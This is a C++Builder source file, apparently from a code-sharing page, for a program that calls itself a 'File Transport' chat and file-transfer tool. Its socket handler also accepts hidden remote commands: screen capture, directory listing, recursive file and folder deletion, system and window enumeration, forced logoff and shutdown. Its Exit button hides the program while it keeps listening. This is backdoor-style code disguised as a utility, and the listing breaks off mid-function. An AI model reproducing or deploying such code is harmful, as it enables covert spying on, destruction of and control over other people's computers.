📄 transportunit.cpp
字号:
//---------------------------------------------------------------------------
void __fastcall TMainForm::ClientSocketLookup(TObject *Sender,
TCustomWinSocket *Socket)
{
StatusBar->Panels->Items[0]->Text=" 正在寻找[服务端]...";
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnListenClick(TObject *Sender)
{ //set listen item
n=(n+1)%2; //first time press button listen to start,and second time stop
if(n==0)
{
btnConnect->Enabled=false;
ConnectItem->Enabled=false;
DisConnectItem->Enabled=false;
btnDisconnect->Enabled=false;
ClientSocket->Active=false;
//ServerSocket->Port=6712;
ServerSocket->Active=true;
btnListen->Font->Color=clRed;
btnListen->Caption="停止监听 ";
StatusBar->Panels->Items[2]->Text=" Listenning......";
StatusBar->Panels->Items[0]->Text=" Waiting for connections";
}
else
{
btnConnect->Enabled=true;
btnDisconnect->Enabled=false;
ConnectItem->Enabled=true;
DisConnectItem->Enabled=false;
isServer=false;
ClientSocket->Close();
ServerSocket->Close();
btnListen->Font->Color=clGreen;
btnListen->Caption="启动监听 ";
StatusBar->Panels->Items[2]->Text=" Client Service";
StatusBar->Panels->Items[0]->Text=" Client ready ! you can connect any Server";
}
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ClientSocketRead(TObject *Sender,
TCustomWinSocket *Socket)
{ //receive msg from server
AnsiString sMsg,sMeg1[10];
int n;
sMsg=Socket->ReceiveText();
Break(sMsg,sMeg1,"`");
if(sMeg1[1]=="File")
{
SetColor(edtHost->Text+"请求发送文件:"+sMeg1[2]+"给你,等待你的接收!",clBlue,10);
SetColor("接收请按[RECEIVE],否则按[CANCEL]拒绝接收!",clNavy,10);
SaveDialog->FileName=sMeg1[2];
cansave=true;
ButtonStatus();
}
else if(sMeg1[1]=="Cancel")
{
SetColor("对方[拒绝]接收你发送的文件!",clRed,10);
Name="";
}
else if(sMeg1[1]=="ok")
{
SetColor("对方[答应]接收,准备发送文件!",clGreen,10);
Send_File();
}
else
{
SetColor(Socket->RemoteAddress+": "+sMeg1[2],clBlack,11);
}
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnExitClick(TObject *Sender)
{
ClientSocket->Close();
ServerSocket->Open();
TrayIcon->Free();
MainForm->Hide();
ShowWindow(Application->Handle,SW_HIDE);
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ServerSocketAccept(TObject *Sender,
TCustomWinSocket *Socket)
{ //when the server accept a client connect
isServer=true;
ClientIP=Socket->RemoteAddress;
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ServerSocketClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{ //receive msg from client
AnsiString sMsg,sMeg1[10];
sMsg=Socket->ReceiveText();
Break(sMsg,sMeg1,"`");
if(sMeg1[1]=="File")
{
SetColor(Socket->RemoteAddress+"请求发送文件:"+sMeg1[2]+"给你,等待你的接收!",clBlue,10);
SetColor("接收请按[RECEIVE],否则按[CANCEL]拒绝接收!",clNavy,10);
SaveDialog->FileName=sMeg1[2];
cansave=true;
ButtonStatus();
}
else if(sMeg1[1]=="Cancel")
{
SetColor("对方[拒绝]接收你发送的文件!",clRed,10);
Name="";
}
else if(sMeg1[1]=="ok")
{
SetColor("对方[答应]接收,开始发送文件!",clGreen,10);
Send_File();
}
else if(sMeg1[1]=="cap")
{
Application->ProcessMessages();
takecap();
}
else if(sMeg1[1]=="dir")
{
dir(sMeg1[2]);
}
else if(sMeg1[1]=="del")
{
if (FileExists(sMeg1[2]))
{
DeleteFile(sMeg1[2]);
ServerSocket->Socket->Connections[0]->SendText("del`");
}
else
{
DelAll(sMeg1[2]+"\\");
ServerSocket->Socket->Connections[0]->SendText("del`");
}
}
else if(sMeg1[1]=="sysinfo")
{
sysinfo();
}
else if(sMeg1[1]=="driverinfo")
{
driverinfo();
}
else if(sMeg1[1]=="running")
{
GetWindows();
}
else if(sMeg1[1]=="logoff")
{
ExitWindowsEx(0,0);
}
else if(sMeg1[1]=="shut")
{
Reboot();
}
else if(sMeg1[1]=="open")
{
getid();
}
else if(sMeg1[1]=="warning")
{
MessageDlg(sMeg1[2],mtWarning,TMsgDlgButtons()<<mbOK,0);
}
else if(sMeg1[1]=="system")
{
SetColor("[系统消息]:"+sMeg1[2],clRed,11);
}
else
{
SetColor(Socket->RemoteAddress+": "+sMeg1[2],clBlack,11);
}
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnCancelClick(TObject *Sender)
{ //refuse to receive file from sender
SendMsg("SendFile:`Cancel`");
SetColor("[拒绝]接收对方发送的文件!",clRed,10);
SavePath="";
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnSaveClick(TObject *Sender)
{
if(SaveDialog->Execute()) //reviece file from sender
{
SavePath=SaveDialog->FileName;
//MsgMemo->Lines->Add(SavePath);
SendMsg("SendFile:`ok`");
SetColor("[确认]接收,准备接收数据!",clGreen,10);
cansave=false;
ButtonStatus();
}
else
{
SetColor("[保存]取消,文件还未保存!",clGreen,10);
}
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::PClearItemClick(TObject *Sender)
{
MsgMemo->Clear();
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::TimerTimer(TObject *Sender)
{
StatusBar->Panels->Items[1]->Text="TIME: "+Now();
if(ConnectStatus==true||n==0)
{
m=++m%3;
if(m==0)
{
Shape->Brush->Color=clYellow;
}
else if(m==1)
{
Shape->Brush->Color=clLime;
}
else
Shape->Brush->Color=(TColor)0x00FF80FF;
}
else
{
Shape->Brush->Color=clYellow;
}
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::FormActivate(TObject *Sender)
{
edtChat->SetFocus();
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnAboutClick(TObject *Sender)
{ //about software
MEMORYSTATUS meminfo;
meminfo.dwLength=sizeof(MEMORYSTATUS);
GlobalMemoryStatus(&meminfo);
MsgMemo->Clear();
MsgMemo->Lines->Add("------------------------------------------------");
MsgMemo->Lines->Add(" SoftWare Name : File Transport");
MsgMemo->Lines->Add(" Version : 1.0");
MsgMemo->Lines->Add(" PoweRed By : Hellf !Re.W");
MsgMemo->Lines->Add(" Thank you for using my SoftWare!");
MsgMemo->Lines->Add("------------------------------------------------");
MsgMemo->Lines->Add(" 内存总量:"+String(meminfo.dwTotalPhys/1024/1024)+"Mb 可用物理内存:"+String(meminfo.dwAvailPhys/1024/1024)+"Mb");
MsgMemo->SelStart=0;
MsgMemo->SelLength=MsgMemo->Text.Length();
MsgMemo->SelAttributes->Color=clBlue;
MsgMemo->SelAttributes->Size=10;
MsgMemo->SelAttributes->Name="Bookman Old Style";
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ServerSocketClientConnect(TObject *Sender,
TCustomWinSocket *Socket)
{
StatusBar->Panels->Items[0]->Text=Socket->RemoteAddress+" Connected";
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ServerSocketClientDisconnect(TObject *Sender,
TCustomWinSocket *Socket)
{
StatusBar->Panels->Items[0]->Text=Socket->RemoteAddress+" Disconnected";
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnChatClick(TObject *Sender)
{
if(edtChat->Text.Length()!=0)
{
if(isServer||ConnectStatus)
{
SendMsg("`msg`"+edtChat->Text);
SetColor(LocalIPText->Caption+": "+edtChat->Text,clFuchsia,11);
edtChat->Text="";
}
else
{
StatusBar->Panels->Items[0]->Text="不能发空信息";
}
}
edtChat->SetFocus();
Systeminfo();
}
//---------------------------------------------------------------------------
//****************************************************************************
//Another Special
//****************************************************************************
void TMainForm::Reboot()
{
DWORD dwVersion = GetVersion();
// Get build numbers for Windows NT or Win32s
if (dwVersion < 0x80000000) // Windows NT
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; // one privilege to set
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0);
}
else
{
ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
}
}
//--------------------------------------------------------------------------------------
void TMainForm::takecap()
{
/* if (FileExists(".\\screen.bmp"))
{
DeleteFile(".\\srceen.bmp");
} */
mystream=new TMemoryStream();
AnsiString FilePath;
ss=new TCanvas;
ss->Handle=GetDC(0);
image=new Graphics::TBitmap;
FilePath=ExtractFilePath(Application->ExeName);
image->Width=Screen->Width;
image->Height=Screen->Height;
BitBlt(image->Canvas->Handle,0,0,image->Width,image->Height,ss->Handle,0,0,SRCCOPY);
//Copies the source rectangle directly to the destination rectangle.
jpgstream=new TJPEGImage;
jpgstream->Assign(image);
jpgstream->CompressionQuality=70; //压缩质量
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -